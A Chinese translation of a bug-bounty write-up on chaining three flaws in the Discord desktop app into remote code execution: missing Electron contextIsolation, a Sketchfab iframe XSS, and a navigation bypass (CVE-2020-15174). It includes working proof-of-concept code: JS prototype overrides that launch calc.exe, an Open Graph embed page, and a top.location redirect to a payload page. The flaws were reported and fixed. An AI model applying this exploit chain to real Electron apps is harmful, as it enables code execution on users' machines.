综合三个Bug实现Discord桌面应用RCE漏洞

Discord 是一款适用于游戏玩家一体化语音和文字聊天的即时通信(IM)软件。 目前 Discord 已经覆盖 Windows、MacOS、Android、iOS、Windows Phone等多种主流平台。

我选择测试Discord的原因

由于我对Electron架构的APP漏洞测试比较有经验，而刚好Discord应用正是基于Electron架构开发的，且我也是一名Discord用户，所以本着测试把玩的心态，我就对Discord进行了分析。

发现的漏洞

我发现了以下Discord应用存在的三个bug，综合利用最终形成了RCE漏洞：

• Missing contextIsolation(contextIsolation功能未启用)
• XSS in iframe embeds(iframe嵌入功能中的XSS)
• Navigation 导航限制功能绕过 (Navigation restriction bypass,CVE-2020-15174)

contextIsolation功能未启用(Missing contextIsolation)

在测试Electron架构时，通常我会先检查BrowserWindow API的选项，当创建浏览器窗口时BrowserWindow API会被调用。测试时，我就在想，当Electron渲染器(renderer)加载时，怎样的任意JS代码执行才会引起RCE?

虽然Discord的Electron架构并不是开源的，但Electron的JS代码是保存在应用本地，所以我是可以提取查看到的。通过本地JS代码的查看，我发现在APP主界面后台下，使用了以下方法函数：

const mainWindowOptions = { 
  title: 'Discord', 
  backgroundColor: getBackgroundColor(), 
  width: DEFAULT_WIDTH, 
  height: DEFAULT_HEIGHT, 
  minWidth: MIN_WIDTH, 
  minHeight: MIN_HEIGHT, 
  transparent: false, 
  frame: false, 
  resizable: true, 
  show: isVisible, 
  webPreferences: { 
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices', 
    nodeIntegration: false, 
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), 
    nativeWindowOpen: true, 
    enableRemoteModule: false, 
    spellcheck: true 
  } 
}; 

从上述代码片段中，可以看出，我们着重需要检查的是其中的nodeIntegration和contextIsolation配置，这里的nodeIntegration都被配置为了false，且原先未修改版本的和contextIsolation也被配置为了false。

如果nodeIntegration为true，那么web页面的JS代码可以通过调用require()方法使用Node.js功能。比如，在Windows系统中执行以下计算器calc.exe程序的代码：

<script> 
  require('child_process').exec('calc'); 
script> 

而在Discord这里，nodeIntegration为false，所以我也不能调用require()去使用Node.js功能。然而，仍然存在一种访问Node.js功能的方法。接下来且听我慢慢解释。

Discord中的另一重要功能contextIsolation也配置为了false，该功能用来隔离不信任的内容，所以，如果你想消除RCE，那么该功能就不应该配置为false。如果contextIsolation为false，那么web页面中的JS可以影响Electron内部渲染时的JS代码和预加载脚本执行，(这里Electron内部渲染时的JS代码指Web页面之外的JS脚本)，例如，假设用Web页面JS中的方法函数，把Electron内置JS的方法Array.prototype.join覆盖掉，那么Web页面之外的JS脚本在加载join方法时，就会调用后来被覆盖的方法函数。

这种行为是很危险的，因为这样一来，可以不用考虑nodeIntegration配置，直接用覆盖的方式，就可以让Electron允许Web页面之外的JS脚本使用Node.js特性，这种方式即使在nodeIntegration配置为false的情况下，都还还可演变为RCE漏洞。

我顺便提一下，类似的缺陷早在2016年我在Cure53公司时就已经发现了，当时我上报给了Electron安全团队，后来在Electron架构中就引入了contextIsolation功能。以下为最近才公开的技术细节PDF：

• https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
• https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

contextIsolation功能的引入目的在于隔离Web页面和Web页面之外的JS代码，让它们在执行时不会产生相互影响。该功能非常有必要，因为如果存在不被信任的内容或操作，就会产生安全问题。而在Discord这里，该功能却被配置为false，被禁用了。因此，遵循上述覆盖JS脚本的方法，我对Discord的此处缺陷发起了测试。

由于Electron内置的JS代码在渲染时可以在任意的Electron APP中执行，所以一般我测试Electron的RCE时，习惯首先在渲染时用Electron内置的JS代码来测试。在我的文章中，我写到了可以用Electron在执行navigation timing时的代码来实现RCE，该缺陷不仅可以从代码中发现，还可从其它地方发现(以后我会公布详细的PoC实例)。但是，由于目标应用不同的Electron版本使用或BrowserWindow选项设置，Discord这里Electron运行启动时，我实际测试的PoC总是不稳定，所以我把测试重点放在了预加载脚本上。

测试预加载脚本时，我发现Discord应用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函数，该函数功能在于可以通过其把一些模块功能调用到Web页面中去实现。然而，经测试发现，我并不能有效地调用类似child_process的模块实现RCE，但却可以用之前说过的覆盖方法，覆盖掉Discord Electron中内置的JS方法，干扰曝露模块的执行，以此实现RCE。

以下为相关的PoC。当覆盖掉Discord Electron中内置的RegExp.prototype.test和Array.prototype.join方法，调用"discord_utils"模块中定义的getGPUDriverVersions方法函数时，可以触发执行calc.exe程序：

RegExp.prototype.test=function(){ 
    return false; 
} 
Array.prototype.join=function(){ 
    return "calc"; 
} 
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 

getGPUDriverVersions方法函数用来执行"execa"库调用：

module.exports.getGPUDriverVersions = async () => { 
  if (process.platform !== 'win32') { 
    return {}; 
  } 
 
  const result = {}; 
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; 
 
  try { 
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); 
  } catch (e) { 
    result.nvidia = {error: e.toString()}; 
  } 
 
  return result; 
}; 

通常，"execa"库又是用来执行nvidiaSmiPath变量中指定的"nvidia-smi.exe"显卡程序的，但由于覆盖掉了RegExp.prototype.test 和 Array.prototype.join方法，"execa"库中nvidiaSmiPath变量名即被覆盖为了"calc"。

具体来说，nvidiaSmiPath中的变量覆盖需要改变以下两个JS文件：

• https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
• https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

到了这步，"nvidia-smi.exe"可以成功被替换为"calc"，那么接下来只需找到执行JS代码的方式即可成功实现RCE了。

iframe嵌入功能中的XSS

在我尝试挖掘XSS的过程中，我发现Discord APP支持类似autolink或Markdown的功能，这有点意思。经测试，如果Discord用户交流信息中有视频帖子，如You-tube URL，那么这里类似Markdown的iframe嵌入功能即可显示出视频播放器(video player)来。

由于Discord涉及到用户的各种社交交流信息，所以其支持Open Graph Protocol(开放内容协议)，如果用户交流信息中包含OGP信息，那么Discord应用即会显示出其中出现的网页、描述、缩略图和一些相关的视频内容。当用户交流信息中的视频URL链接被嵌入到iframe中后，Discord应用会提取出该视频URL链接。后续，我无法查看到Discord应用相关的iframe嵌入功能说明文档，就只好在其CSP frame-src 指令中寻找线索，发现其采用了以下CSP策略：

Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com 

可以看到，其中列出了允许iframe嵌入的策略(如对You-Tube, Twitch, Spotify视频的嵌入)。接下来，我就对这些域名一个一个进行测试，希望在其中能在iframe视频嵌入时触发XSS。经过测试，我发现域名sketchfab.com可以在iframe嵌入时产生XSS，这是一个简单的DOM-based XSS。以下是我根据OGP协议制作的一个PoC，当我把该URL链接以聊天方式发送给另一位Discord用户时，点击其中的iframe，就会触发任意的JS代码执行：

https://l0.cm/discord_rce_og.html

<head> 
    <meta charset="utf-8"> 
    <meta property="og:title" content="RCE DEMO"> 
    [...] 
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> 
    <meta property="og:video:type" content="text/html"> 
    <meta property="og:video:width" content="1280"> 
    <meta property="og:video:height" content="720"> 
head> 

现在，虽然发现了XSS，但是触发的JS代码却只能在iframe中执行。由于Electron不会把“Web页面之外的JS代码”加载进入iframe中，所以即使我覆盖了其iframe内置的JS方法，还是不能调用Node.js相关功能。因此，要实现真正的RCE，还需要跳出iframe限制，在用户浏览内容层面去考虑。这就需要在iframe框架中创建一个新窗口，或是从iframe中导航(navigating)到另一URL中的顶层窗口。

经过对相关代码的分析，我发现Navigation restriction(导航限制)的主要代码中用到了"new-window" 和 "will-navigate"两个事件：

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { 
  e.preventDefault(); 
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { 
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); 
  } else { 
    _electron.shell.openExternal(windowURL); 
  } 
}); 
[...] 
mainWindow.webContents.on('will-navigate', (evt, url) => { 
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { 
    evt.preventDefault(); 
  } 
}); 

只要突破这里，就可以在iframe框架中创建一个新窗口，或是从iframe中导航(navigating)到另一URL中的顶层窗口。然而，这里存在着一个让我完全意想不到的缺陷。

Navigation restriction bypass (导航限制功能绕过，CVE-2020-15174)

在我对导航限制相关代码进行检查过程中，我本认为iframe对导航(navigation)应该是有限制的，但我惊奇地发现，iframe不知怎的对导航机制竟然没有限制。我本来想着，"will-navigate"事件和preventDefault()会在导航动作绕过发生之前进行相关的捕捉或拦截，但是这却没有。

为了进行导航绕过测试，我创建了一个简单的Electron应用，然后发现，顶部导航(top navigation)中的"will-navigate" 事件并不会从iframe中跳出，具体来说，如果顶部导航的所属域和iframe的所属域相同，"will-navigate" 事件会跳出，否则就不会跳出。这并不是一种合乎常理的操作行为，而是个Bug。有了这个Bug，我就能绕过导航限制了。最后，我要做的就是，导航到可以触发XSS的iframe页面，然后在其中包含进RCE Payload代码。

top.location="//l0.cm/discord_calc.html" 

最终，综合利用以上三个Bug，我成功在Discord应用中实现的远程代码执行(RCE)。

POC视频：https://tinyurl.com/y5nx6zjy

漏洞处理

我通过Discord众测项目上报了这三个漏洞，之后，Discord安全团队禁用了Sketchfab的嵌入功能，然后在iframe中加入了沙箱功能防止导航限制绕过，同时启用了contextIsolation功能。我因此收获了$5,000的漏洞奖励。

https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

另外，其中的XSS漏洞上报给Sketchfab后，收获了Sketchfab奖励的$300;"will-navigate"事件Bug上报给Electron后，被分配了CVE-2020-15174的漏洞编号。

参考来源：mksben